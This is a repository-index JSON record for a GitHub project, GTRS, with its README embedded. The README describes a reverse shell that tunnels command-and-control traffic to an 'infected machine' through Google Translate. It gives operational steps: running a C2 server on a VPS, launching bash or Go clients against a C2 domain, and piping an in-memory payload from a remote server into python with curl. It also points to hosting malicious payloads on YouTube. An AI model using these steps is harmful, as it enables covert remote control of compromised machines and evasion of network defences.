{"id":13684661,"url":"https://github.com/mthbernardes/GTRS","last_synced_at":"2025-05-01T00:32:22.754Z","repository":{"id":37484309,"uuid":"159997134","full_name":"mthbernardes/GTRS","owner":"mthbernardes","description":"GTRS - Google Translator Reverse Shell","archived":false,"fork":false,"pushed_at":"2024-10-09T16:23:23.000Z","size":19,"stargazers_count":615,"open_issues_count":0,"forks_count":100,"subscribers_count":22,"default_branch":"master","last_synced_at":"2024-10-26T03:19:47.528Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/mthbernardes.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":".github/FUNDING.yml","license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null},"funding":{"patreon":"mthbernardes","ko_fi":"mthbernardes"}},"created_at":"2018-12-01T23:37:41.000Z","updated_at":"2024-10-09T16:23:28.000Z","dependencies_parsed_at":"2022-09-15T04:10:19.704Z","dependency_job_id":"2eaa10c2-7de0-4f75-8ebe-f6f0984b7a43","html_url":"https://github.com/mthbernardes/GTRS","commit_stats":null,"previous_names":[],"tags_count":1,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mthbernardes%2FGTRS","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mthbernardes%2FGTRS/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mthbernardes%2FGTRS/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mthbernardes%2FGTRS/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/mthbernardes","download_url":"https://codeload.github.com/mthbernardes/GTRS/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":224230571,"owners_count":17277372,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-02T14:00:36.422Z","updated_at":"2024-11-12T06:30:25.315Z","avatar_url":"https://github.com/mthbernardes.png","language":"Go","readme":"# GTRS - Google Translator Reverse Shell\n\nThis tools uses [Google Translator](https://translate.google.com) as a proxy to send arbitrary commands to an infected machine.\n```\n[INFECTED MACHINE] ==HTTPS==\u003e [GOOGLE TRANSLATE] ==HTTP==\u003e [C2] \n```\n\n# Environment Configuration\nFirst you need a VPS and a domain, for the domain you can get a free one on [Freenom](https://freenom.com/).\n\n# Server \nStart the server.py on your VPS\n```bash\npython2.7 server.py\nServer running on port: 80\nSecret Key: e294a11e-bb6f-49ed-b03a-9ec42be55062\n```\nIt will provide you secret key which will be used on the client.\n\n# Client bash\nRun the client on a computer with access to [Google Translator](https://translate.google.com), providing domain and the secret key generated by the server.\n\n```bash\nbash client.sh www.c2server.ml e294a11e-bb6f-49ed-b03a-9ec42be55062\n```\nNow you have an interactive shell using named pipe files, **YES** you can `cd` into directories.\n\n# Client Go\nYou first need to [download](https://github.com/mthbernardes/GTRS/releases) the binary or compile it, then the process is equal of the bash client,\n```bash\n./client_Linux www.c2server.ml e294a11e-bb6f-49ed-b03a-9ec42be55062\n```\nWith this client you have the ability to run it on Linux, Mac and Windows, but the client do not have a interactive shell yet.\n\n# ELF in-memory execution (Linux Only)\nAfter reading this [blogpost](https://blog.fbkcs.ru/en/elf-in-memory-execution/), I made a simple adaption to execute the GTRS in memory, just edit the host and key in the script [inmemory-linux.py](utils/inmemory-linux.py), then host it on a server an curl it.\n```bash\ncurl https://yourserver.ml/inmemory-linux.py | python\n```\nOr you can host the script using the [youtube](https://mthbernardes.github.io/rce/2018/12/14/hosting-malicious-payloads-on-youtube.html) approach.\n\n# Poc \n[![CODE_IS_CHEAP_SHOW_ME_THE_DEMO](http://img.youtube.com/vi/02CFsE0k96E/0.jpg)](http://www.youtube.com/watch?v=02CFsE0k96E)\n\n# Known issues \n * ~~Google translate does not forward POST data, so there's a limit on the amount of data that your server can receive, for example, you'll probably not being able to read a big file like `.bashrc`.~~ `Problem fixed using User-Agent header to sent data`.\n * ~~The client script works on Mac an Linux, but on Linux you need to install the `xmllint` which is on `libxml2-utils`~~ `Problem fixed, now the client is write also in go.\n * It's not a problem, but I just don't know if there's a rate limit on Google Translator\n","funding_links":["https://patreon.com/mthbernardes","https://ko-fi.com/mthbernardes"],"categories":["others","Go","Pentesting"],"sub_categories":["ShellCodes"],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmthbernardes%2FGTRS","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fmthbernardes%2FGTRS","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmthbernardes%2FGTRS/lists"}